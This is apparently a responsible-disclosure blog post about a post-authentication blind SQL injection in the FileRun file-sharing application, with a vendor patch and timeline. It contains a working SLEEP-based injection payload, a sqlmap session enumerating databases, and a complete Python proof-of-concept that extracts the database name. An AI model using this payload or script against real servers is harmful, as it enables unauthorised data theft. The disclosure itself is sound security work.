Blind SQL Injection Vulnerability in FileRun <=2017.09.18

Some time ago while doing a pentest, we found a vulnerability in a file sharing web application named FileRun. This application allows us to access our files anywhere through self-hosted secure cloud storage, backup and sharing files for our photos, videos, files and more.

The Vulnerability

The vulnerability was found after the authentication. After we logged in as any user, go to Search -> Drop down menu -> Search Metadata -> Choose any, for this example I choose Tags. This will generate a POST request to the server like below:

POST /?module=search§ion=ajax&page=grid HTTP/1.1
Host: 192.168.2.133
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.2.133/
Content-Length: 88
Cookie: FileRunSID=u71u3j1fiqjk1ntmsm7f84d8c4; language=english
Connection: close
Pragma: no-cache
Cache-Control: no-cache

metafield=7&searchType=meta&keyword=&searchPath=%2FROOT%2FHOME&path=%252FROOT%252FSEARCH

We notice that the metafield parameter might be vulnerable to SQL Injection, therefore we injected a single quote after the value (e.g. metafield=7′) and examined the server response with interesting error below:

HTTP/1.0 500 Internal Server Error
Date: Wed, 20 Sep 2017 09:46:48 GMT
Server: Apache/2.4.7 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

Judging to that response, my spider sense was tingling and throwing our awesome and favorite tool for fast confirmation to the metafield parameter.

root@kali:~# sqlmap -u "http://192.168.2.10/?module=search§ion=ajax&page=grid" --data "metafield=7&searchType=meta&keyword=&searchPath=%2FROOT%2FHOME&path=%252FROOT%252FSEARCH" --cookie "FileRunSID=qpgjv055ne2tluvnp10fao0gl3; language=english" -p metafield --dbms=mysql --level=5 --technique=T --dbs
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.1.8#stable}
|_ -| . [)]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 10:49:19

[10:56:03] [INFO] testing connection to the target URL
[10:56:03] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[10:56:03] [WARNING] heuristic (basic) test shows that POST parameter 'metafield' might not be injectable
[10:56:03] [INFO] testing for SQL injection on POST parameter 'metafield'
[10:56:03] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[10:56:03] [WARNING] time-based comparison requires larger statistical model, please wait............................ (done)
[10:56:04] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (comment)'
[10:56:04] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
<strong>[10:56:14] [INFO] POST parameter 'metafield' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable</strong>
for the remaining tests, do you want to include all tests for 'MySQL' extending provided risk (1) value? [Y/n] y
[10:56:18] [INFO] checking if the injection point on POST parameter 'metafield' is a false positive
POST parameter 'metafield' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 154 HTTP(s) requests:
---
Parameter: metafield (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: metafield=7) AND (SELECT * FROM (SELECT(SLEEP(5)))uKlV) AND (3045=3045&searchType=meta&keyword=&searchPath=/ROOT/HOME&path=%2FROOT%2FSEARCH
---
[10:59:27] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7
back-end DBMS: MySQL >= 5.0.12
[10:59:27] [INFO] fetching database names
[10:59:27] [INFO] fetching number of databases
[10:59:27] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
[10:59:28] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
2
[10:59:39] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
[10:59:45] [INFO] adjusting time delay to 1 second due to good response times
information_schema
[11:00:42] [INFO] retrieved: <strong>filerun</strong>
available databases [2]:
[*] filerun
[*] information_schema

[11:01:04] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 87 times
[11:01:04] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.2.10'

[*] shutting down at 11:01:04

And yes, the vulnerability is confirmed.

Proof of Concept

Here we create a simple script to extract current database using time-based technique.

#!/usr/bin/env python

import sys,time,urllib,urllib2,cookielib
from time import sleep

print """
#===============================================================#
|                                                               |
|            ___|                   |                           |
|          \___ \  __ \   _ \ __ \  __|  _ \  __| _` |          |
|                | |   |  __/ |   | |    __/ |   (   |          |
|          _____/  .__/ \___|_|  _|\__|\___|_|  \__,_|          |
|                 _|                                            |
|                                                               |
|                   FileRun <= 2017.09.18                       |
|       BlindSQLi Proof of Concept (Post Authentication)        |          
|        by Spentera Research (research[at]spentera.id)         |
|                                                               |
#===============================================================#
"""
host = raw_input("[*] Target IP: ")
username = raw_input("[*] Username: ")
password = raw_input("[*] Password: ")
target = 'http://%s/?module=search&section=ajax&page=grid' %(host)
delay=1

def masuk(usr,pswd):
    log_data = {
        'username': usr,
        'password': pswd
    }
 
    post_data = urllib.urlencode(log_data)
    cookjar = cookielib.CookieJar()
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookjar))
    try:	
    	req = urllib2.Request('http://%s/?module=fileman&page=login&action=login'%(host), post_data)
    	content = opener.open(req)
    	global data,cookie
    	data = dict((cookie.name, cookie.value) for cookie in cookjar)
    	cookie = ("language=english; FileRunSID=%s"%(data['FileRunSID']))
    	return str(content.read())
    except:                                             
    	print '\n[-] Uh oh! Exploit fail.. PLEASE CHECK YOUR CREDENTIAL'                
    	sys.exit(0)

def konek(m,n):
	#borrow from SQLmap 🙂
	query=("7) AND (SELECT * FROM (SELECT(SLEEP(%s-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),%s,1))>%s,0,1)))))wSmD) AND (8862=8862" %(delay,m,n))
	values = { 'metafield': query,             
        	   'searchType': 'meta',
        	   'keyword': 'work',
        	   'searchPath': '/ROOT/HOME',
	           'path': '/ROOT/SEARCH' }
	 
	req = urllib2.Request(target, urllib.urlencode(values))                         
	req.add_header('Cookie', cookie)  
	try:                                        
    		starttime=time.time()
    		response = 	urllib2.urlopen(req)
    		endtime = time.time()
    		return int(endtime-starttime)
 
	except:                                             
    		print '\n[-] Uh oh! Exploit fail..'                
    		sys.exit(0)

print "[+] Logging in to the application..."
sleep(1)
cekmasuk = masuk(username,password)
if u'success' in cekmasuk:
	print "[*] Using Time-Based method with %ds delay."%int(delay)
	print "[+] Starting to dump current database. This might take time.."
	sys.stdout.write('[+] Target current database is: ')
	sys.stdout.flush()

	starttime = time.time()
	for m in range(1,256):
		for n in range(32,126):
			wkttunggu = konek(m,n)		
			if (wkttunggu < delay):				
				sys.stdout.write(chr(n))
				sys.stdout.flush()
				break
	endtime = time.time()
	print "\n[+] Done in %d seconds" %int(endtime-starttime)

Patch and Fix

We already contacted FileRun developer, Afian AB, and work closely to disclose this vulnerability. FileRun users are suggested to apply immediate software update to latest version using the installation control panel. Please referring to this docs.

Aftermath

Thanks to Vlad Roman who quickly responded to our emails to take immediate action on this finding. Here is the communication log:

Sept 20, 2017 Initial contact with FileRun team
Sept 22, 2017 Vulnerability acknowledged by FileRun team and said that a patch will be released in a couple of days soon.
Sept 25, 2017 FileRun team released a patch.
Sept 27, 2017 Draft of security advisory document was sent to FileRun team.
Sept 29, 2017 Advisory published.

References

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

About Thomas Gregory

Jai Guru Deva. What the eyes see and the ears hear, the mind believes. Gamer. Free thinker. Pwning @Spentera !